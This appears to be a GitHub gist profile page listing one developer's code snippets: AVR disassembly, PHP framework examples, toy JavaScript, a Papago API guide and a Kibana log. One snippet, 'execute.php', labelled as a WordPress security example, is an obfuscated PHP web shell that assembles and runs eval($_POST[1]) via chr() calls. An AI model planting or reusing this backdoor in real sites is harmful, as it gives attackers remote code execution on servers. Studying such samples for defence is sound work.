Skip to content

Instantly share code, notes, and snippets.

View gnh1201's full-sized avatar
๐Ÿ‰
Your Watermelon OPEN UP!

Namhyeon, Go gnh1201

๐Ÿ‰
Your Watermelon OPEN UP!
View GitHub Profile
@gnh1201
gnh1201 / my.elf.asm
Created April 5, 2018 16:13
my.elf.asm
my.elf: file format elf32-avr
Disassembly of section .text:
00000000 <__vectors>:
0: 0c 94 63 00 jmp 0xc6 ; 0xc6 <__ctors_end>
4: 0c 94 8b 00 jmp 0x116 ; 0x116 <__bad_interrupt>
8: 0c 94 8b 00 jmp 0x116 ; 0x116 <__bad_interrupt>
@gnh1201
gnh1201 / directus_migrate.php
Created November 26, 2018 11:29
Directus 7 with ReasonableFramework: Get token and Data migration
<?php
// (How to) Get DIrectus 7 CMS token by ReasonableFramework
// step by step
// 1. git clone https://github.com/gnh1201/reasonableframework
// 2. edit /storage/config/database.ini (if you want data migrate to directus)
// 3. fill your email address and password into this example
// 4. copy edited example to /route directory
// 5. connect to http://[your-web-url]/?route=migrate
loadHelper("webpagetool");
@gnh1201
gnh1201 / quantum.js
Created November 30, 2018 14:10
Quantum computing simple mockup in javascript
// Quantum computing simple mockup in javascript
// Go Namhyeon <[email protected]>
// https://github.com/gnh1201
function make_qubit() {
var a = ((Math.random() / Math.random()) > Math.random()); // qubit first bit
var b = ((Math.random() / Math.random()) > Math.random()); // qubit second bit
var c = ((Math.random() / Math.random()) > Math.random()); // qubit third bit
var qubit = [a, b, c];
return qubit;
@gnh1201
gnh1201 / probability_bit.js
Last active September 17, 2023 04:18
probability_bit.js
function make_bit(p) {
if(p > 0) {
return (Math.random() / p) > 1.0);
} else {
return 0;
}
}
function make_bits(number_of_bits) {
@gnh1201
gnh1201 / php-papago.md
Last active November 23, 2024 15:52
๋„ค์ด๋ฒ„ ํŒŒํŒŒ๊ณ  API, PHP/ResaonableFramework ๊ตฌํ˜„ ์˜ˆ์ œ

๋„ค์ด๋ฒ„ ํŒŒํŒŒ๊ณ  API ์‚ฌ์šฉ ์˜ˆ์ œ

  1. ๋„ค์ด๋ฒ„ ๊ฐœ๋ฐœ์ž ์„ผํ„ฐ ( https://developers.naver.com/ )์—์„œ ํด๋ผ์ด์–ธํŠธ ID์™€ Secret์„ ์ทจ๋“ํ•œ๋‹ค.

  2. ResonableFramework ( https://github.com/gnh1201/reasonableframework )์„ ๋‹ค์šด๋ฐ›๊ณ  ์„ค์น˜ํ•œ๋‹ค.

  3. /helper/papago.api.php ๋ฅผ ์•„๋ž˜์™€ ๊ฐ™์ด ๋งŒ๋“ ๋‹ค. 1๋ฒˆ ๊ณผ์ •์—์„œ ๋ฐ›์€ ํด๋ผ์ด์–ธํŠธ ID์™€ Secret์„ ํ•จ๊ป˜ ์ ๋Š”๋‹ค.

php
@gnh1201
gnh1201 / orderlist.php
Created April 13, 2019 06:06
orderlist.php (Example of reasonableframework)
<?php
loadHelper("ndkponum.utils");
loadHelper("paginate");
$manager = get_requested_value("manager");
$page = paginate_get_current_page(get_requested_value("page"));
$limit = 7;
// title์ด ๋ณ€์ˆ˜๋กœ ์ „๋‹ฌ๋œ๋‹ค.
@gnh1201
gnh1201 / orderdetail.php
Created April 13, 2019 06:07
orderdetail.php (Example of resaonbleframework)
<?php
$id = get_requested_value("id");
$method = get_requested_value("method");
$data = array();
// get order detail
$bind = array(
"orderNum" => $id,
);
@gnh1201
gnh1201 / execute.php
Last active June 5, 2019 01:30
[Security] Wordpress Remove Code Execution Example
<?php
$_uU=chr(99).chr(104).chr(114);
$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(49).$_uU(93).$_uU(41).$_uU(59);
$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).$_uU(110);
$_=$_fF("",$_cC);
@$_();
?>
@gnh1201
gnh1201 / simplejson.js
Last active August 4, 2023 06:56
SimpleJSON: JSON encode, decode without default parser (pure javascript JSON parser)
// SimpleJSON: JSON encode, decode without default (pure javascript JSON parser)
// Go Namhyeon <[email protected]>
// https://github.com/gnh1201
// MIT license
var $ = {};
/**
* Decode JSON
*
@gnh1201
gnh1201 / kibana.log
Created July 25, 2019 06:59
kibana.log
{"type":"log","@timestamp":"2019-07-25T06:49:22Z","tags":["plugin","debug"],"pid":26909,"message":"Checking Elasticsearch version"}
{"type":"log","@timestamp":"2019-07-25T06:49:22Z","tags":["reporting","debug","exportTypes"],"pid":26909,"message":"Found exportType at /usr/share/kibana/x-pack/plugins/reporting/export_types/csv/server/index.js"}
{"type":"log","@timestamp":"2019-07-25T06:49:22Z","tags":["reporting","debug","exportTypes"],"pid":26909,"message":"Found exportType at /usr/share/kibana/x-pack/plugins/reporting/export_types/png/server/index.js"}
{"type":"log","@timestamp":"2019-07-25T06:49:22Z","tags":["reporting","debug","exportTypes"],"pid":26909,"message":"Found exportType at /usr/share/kibana/x-pack/plugins/reporting/export_types/printable_pdf/server/index.js"}
{"type":"log","@timestamp":"2019-07-25T06:49:23Z","tags":["status","plugin:[email protected]","info"],"pid":26909,"state":"green","message":"Status changed from yellow to green - Ready","prevState":"yellow","prevMsg":"Waiting for Elastics